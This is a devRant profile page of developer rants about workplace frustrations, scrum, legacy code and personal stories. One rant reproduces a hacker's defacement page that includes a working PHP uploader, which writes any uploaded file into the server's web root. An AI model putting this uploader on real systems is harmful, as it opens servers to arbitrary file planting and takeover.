Details
Joined devRant on 6/3/2016
Join devRant
Do all the things like
++ or -- rants, post your own rants, comment on others' rants and build your customized dev avatar
Sign Up
Pipeless API
From the creators of devRant, Pipeless lets you power real-time personalized recommendations and activity feeds using a simple API
Learn More
-
Interesting..
From the book Effective Java, third edition:
"1997, when Java was new, James Gosling (the father of Java), described it as a
“blue collar language” that was “pretty simple” [Gosling97]. At about the same time,
Bjarne Stroustrup (the father of C++) described C++ as a “multi-paradigm language”
that “deliberately differs from languages designed to support a single way of writing
programs” [Stroustrup95]. Stroustrup warned:"
"Much of the relative simplicity of Java is—like for most new languages—
partly an illusion and partly a function of its incompleteness. As time passes,
Java will grow significantly in size and complexity. It will double or triple in
size and grow implementation-dependent extensions or libraries."
Bjarne Stroustrup (the father of C++)6 -
Omfg this fucking guy!!!!
Context:
We are going through a major refactor of some of our backend components. I was tasked with cleaning up our ML code while another guy was tasked with cleaning up the general CRUD side of the backend, let's call him DA for "dumb ass".
** At 11pm
DA: I am getting a strange error from your backend. Look:
"Invalid call: method=PUT expected=[POST]"
Me: you need to send a post request not a put request
DM: no, it's not that. I am sending the right thing
Me: ... Let me see...
* 15min ish of testing *
No, it works fine on my version, 1.1.0 what's your version?
DM: I'm on 1.1.0.
Me: send me code?
DM: *send
"request.put(..."
Me: you are sending a PUT... It's literally in the screenshot. Send a Post
DM: I am
Me: no, send a Post
DM: I don't understand, I am sending the request
Me: it's a post not a put
DM: but...
Me: it's a post not a put
Me: good night!!!!!!12 -
Look here sir. If I have raised 12 defects on the feature you were working on its not a personal attack... I am not trying to publicly humilate you or doubting your ninja coding skills. We are on the same team. Just trying to make a better product that's my job as qa. So chill out with passive aggressive comments on the tickets.
You don't hear me making a peep when you take my name and say I missed the issue if someone higher up points out the same defects.1 -
Dear management,
I require one vertical monitor for my JS, one vertical monitor for my HTML, one vertical monitor for my CSS, and two stacked ultrawide monitors for testing in browser.
Thanks,
Many loves,
Algo.12 -
I just calmly got up from my desk and walked into a meeting room to scream.
I hate this fucking job4 -
Today my current company fuck itself.
We were in negotiations about the end of my contract/mission, I want to quit to create a company around AI.
And the actual chairman said to me "You think too highly of yourself. I could find a tenth of people to replace you so shut up and take what we offer".
30 minutes later they received my resignation. 1h after that, the 15 dev under me resigned (after two year working with us they are clearly under paid). At the end of the day, the Head of product and the two good PO resigned.
This morning I get an email, talking about suing me as I made everyone resigned and asking for a meeting.
So I went to the meeting with a lawyer, they weren't expecting it. Boring legal stuff came after that.
And the funny fact: at the end of the meeting the CIO, chief ops and the SRE resigned as well.... As they didn't want to have the run it without all the team...
Funny day :)
Last month the main product, 90% of the company use it, was launched. And in three months 80% if the IT profiles will be out...36 -
My mom never touched a PC or smartphone. Well, most people didn't back then, because it was the early 90s.
But I brought a borrowed SNES to the hospital and taught her to blow on the Zelda cartridge if it didn't work. She died after we finished the game.
After that my dad bought me a commodore 64, the machine that taught me about electronics and programming, and molded me into who I am today.
On the first date with my girlfriend (now 12y together) we just sat talking for hours in her room, playing Zelda on her SNES taking turns, and I told her my mom would have liked her.14 -
Hey fam, one unemployed retard was trying to hack my server, check the code below
<html lang='en-US'><head><title>T3RR0R B@B@</title>
<a href="https://www.facebook.com/mr.T3RR0R" target="_blank"><h2>Click Here !</h2></a><br>
<style>
body{cursor:url("http:////"),auto;}html{display:table;height:100%;width:100%;}body{display:table-row;}body{display:table-cell;vertical-align:middle;text-align:center;}a:link{text-decoration:none;}
body {
background-color: #000000;
background-image: url(https://imgwm.com/images/...);
<!--http://twitrcover.com/ar/uploads/...-->
margin-left: 0px;
margin-top: 0px;
margin-right: 0px;
margin-bottom: 0px;
background-position:right top;
background-repeat:no-repeat;
background-size:110%
}
.style1 {
font-family: Arial, Helvetica, sans-serif;
font-size: 12px;
}
</style><br><br><br>
<br>
<center><?php
echo "<form method='post' enctype='multipart/form-data'>
<input type='file' name='idx_file'>
<input type='submit' name='upload' value='upload'>
</form>";
$root = $_SERVER['DOCUMENT_ROOT'];
$files = $_FILES['idx_file']['name'];
$dest = $root.'/'.$files;
if(isset($_POST['upload'])) {
if(is_writable($root)) {
if(@copy($_FILES['idx_file']['tmp_name'], $dest)) {
$web = "http://".$_SERVER['HTTP_HOST']."/";
echo "Ciee Sukses Uploadnya :* -> <a href='$web/$files' target='_blank'><b><u>$web/$files</u></b></a>";
} else {
echo "gagal upload root >:(";
}
} else {
if(@copy($_FILES['idx_file']['tmp_name'], $files)) {
echo "Ciee Sukses Uploadnya :* <b>$files</b> di folder ini";
} else {
echo "gagal upload >:(";
}
}
}
?>
<!DOCTYPE html>
<html>
<title>K.I.T.A</title>
<audio autoplay loop>
<source src="http://micro.byethost24.com/KITA.mp..."></source>
</audio>
<head>
<link href='https://fonts.googleapis.com/css/...' rel='stylesheet' type='text/css'>
</head>
<body bgcolor="#2b2b2b" link="gray" text="gray">
<center>
<script type="text/javascript">
TypingText = function(element, interval, cursor, finishedCallback) {
if((typeof document.getElementById == "undefined") || (typeof element.innerHTML == "undefined")) {
this.running = true;
return;
}
this.element = element;
this.finishedCallback = (finishedCallback ? finishedCallback : function() { return; });
this.interval = (typeof interval == "undefined" ? 100 : interval);
this.origText = this.element.innerHTML;
this.unparsedOrigText = this.origText;
this.cursor = (cursor ? cursor : "");
this.currentText = "";
this.currentChar = 0;
this.element.typingText = this;
if(this.element.id == "") this.element.id = "typingtext" + TypingText.currentIndex++;
TypingText.all.push(this);
this.running = false;
this.inTag = false;
this.tagBuffer = "";
this.inHTMLEntity = false;
this.HTMLEntityBuffer = "";
}
TypingText.all = new Array();
TypingText.currentIndex = 0;
TypingText.runAll = function() {
for(var i = 0; i < TypingText.all.length; i++) TypingText.all[i].run();
}
TypingText.prototype.run = function() {
if(this.running) return;
if(typeof this.origText == "undefined") {
setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval);
return;
}
if(this.currentText == "") this.element.innerHTML = "";
if(this.currentChar < this.origText.length) {
if(this.origText.charAt(this.currentChar) == "<" && !this.inTag) {
this.tagBuffer = "<";
this.inTag = true;
this.currentChar++;
this.run();
return;
} else if(this.origText.charAt(this.currentChar) == ">" && this.inTag) {
this.tagBuffer += ">";
this.inTag = false;
this.currentText += this.tagBuffer;
this.currentChar++;
this.run();
return;
} else if(this.inTag) {
this.tagBuffer += this.origText.charAt(this.currentChar);
this.currentChar++;
this.run();
return;
} else if(this.origText.charAt(this.currentChar) == "&" && !this.inHTMLEntity) {
this.HTMLEntityBuffer = "&";
this.inHTMLEntity = true;
this.currentChar++;
this.run();
return;
} else if(this.origText.charAt(this.currentChar) == ";" && this.inHTMLEntity) {
this.HTMLEntityBuffer += ";";
this.inHTMLEntity = false;
this.currentText += this.HTMLEntityBuffer;
this.currentChar++;
this.currentChar++;
setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval);
} else {
this.currentText = "";
this.currentChar = 0;
this.running = false;
this.finishedCallback();
}
}
</script>
<br><br><br>
<div id="satu">
<embed src="https://youtube.com/v/tec_KllmOH4/...
<br>
<b style="font-size: 40px;">hacked by T3RR0R B@B@</b>
<br>
- use your brain to repair this system<br>
Scary Crazy Forbidden<br>
@2018<br><br>
Contact : fb.com/mr.T3RR0R
<br></div>11 -
Daily scrum
Today, the Scrumpy Master was not here, so I leaded the daily scrum meeting,
rephrasing the 3 standards questions a little bit: the results where amazing.
Here my questions in case somebody want to use them:
- What the fuck did you do on Friday?
- What the fuck do you think you are doing today?
- What is your fucking problem?
We managed to keep the meeting very short and after the meeting everybody was sooooo concentrated I couldn't believe it.
Beeep Beeeeeep 7:00 o'clock. Shit. I was dreaming. Must wake up and go to work.
Scrum master will be there too.8 -
Pro tip: If you are a junior, or senior but new at the company, don't start your conversations with:
"We're doing X wrong. At my previous company we did / at school I learned /in this book I read / according to this talk I watched, the right way to do X is ..."
Instead try:
"I'm curious why were doing X this way. I'm used to doing it differently."
I love flat-hierarchy teams, and people who think about flaws in procedures and proactively try to improve the tools we use are awesome, but the next kid walking up to me yelling we use git flow "wrong" will be smacked in the face with a keyboard.
If you come to me with curiosity and an open mind, I'll explain, and even return the favor by behaving the same way when I'm baffled by your seemingly retarded implementations.
Maybe we can learn from each other, maybe discover that "how I learned it" is sometimes good, sometimes bad.
But let's start with some social skills, not kicking off into every debate with a stretched leg and a red face.23 -
You know you're in the wronk place, when the prod sql table have 473 columns, 0 index, 0 keys and the frontend is made in ms access. And the only possible way to connect to the (virtualized server) database is through citrix...5
-
Sales employee Bob wants a clickable blue button.
Bob tells product owner Karen about his unstoppable desire for clickable blue buttons.
Karen assigns points for potential and impact (how much does a blue button improve Bob's life, how many people like Bob desire blue buttons)
Karen asks the button team how hard it is to build a button. The button team compares the request to a reference button they've built before, and gives an ease score, with higher score being easier (inverse of scrum points).
These three scores are combined to give a priority score. The global buttonbacklog is sorted by priority.
Once every two weeks (a "sprint") the button team convenes, uses the ease scores to assign scrum points. Difficult tasks are broken up into smaller tasks, because there is a scrum point upper limit. They use the average of the last 5 sprints to calculate each developer's "velocity".
The sprint is filled with tasks, from the top of the global button backlog, up to the team's capacity as determined by velocity. Approximate due dates are assigned, Bob is a happy Bob.
What if boss Peter runs into the office screaming "OUR IMPORTANT CLIENT WANTS A FUCKING PINK BUTTON WHICH MAKES HEARTS APPEAR"?
Devs tell boss to shut the fuck up and talk to Karen. Karen has a carefully curated list of button building tasks sorted by priority, can sedate boss with valium so he calms the fuck down until he can make a case for the impact and potential of his pink button.
Karen might agree that Peter's pink button gets a higher priority than Bob's blue button.
But devs are nocturnal creatures, easily disturbed when approached by humans, their natural rhythms thrown out of balance.
So the sprint is "locked", and Peter's pink button appears at the top of the global backlog, from where it flows into the next sprint.
On rare occasions a sprint is broken open, for example when Karen realizes that all of the end users will commit suicide if they don't have a pink heart-spawning button.
In such an event, Peter must make Bob happy (because Bob is crying that his blue button is delayed). And Peter must make the button team of devs happy.
This usually leads to a ritual involving chocolate or even hardware gift certificates to restore balance to the dev ecosystem.23 -
On the first day of Christmas, the bossman gave to me: The fact that my new computer purchase order needs to be OKed by the CEO and I need to continue working on a 2014 Mac Mini (i5-4260U, 8 Gig RAM, GPU shot by an ESD on the case long ago) for the next year.
On the second day of Christmas, my family gave to me... a good reason to get shitfaced
On the third day of Christmas, getting shitfaced gave to me: A hangover and some urgent plastic welding job that had to be done with a soldering iron. FML, I've had a headache before breathing in pure hydro-cyano-whatthefuckyougetwhenyoumeltplastics
On the fourth day of Christmas, my team gave to me: A legacy, age-old Rails 2 project that was written by an intern and never reviewed, went to prod in 2014 and can't be changed anymore, but needs to be changed after the fact that it has zero test coverage and needs 100 % now to prevent issues and costly manual testing.
On the fifth day of Christmas, devrant gave to me: The Idea that making fun of Christmas songs to get over the sheer amount of dicks that working over the twelve days of Christmas sucks.
To be continued...2 -
"Dear Team,
This is to inform you that due to the workload of Diwali 10th Nov would be working a half day
So the 10th Nov holiday would be shuffle to 17th Nov 2018 (i.e. Saturday)
Note:- Those team member taking leave on 10th Nov it would calculate 5 days of leave."
Got this mail -_-9 -
Just realized, we can double tap on any post here...and it will be added as ++. Like we do in instagram.
How I didn't knew about this from so long.😅1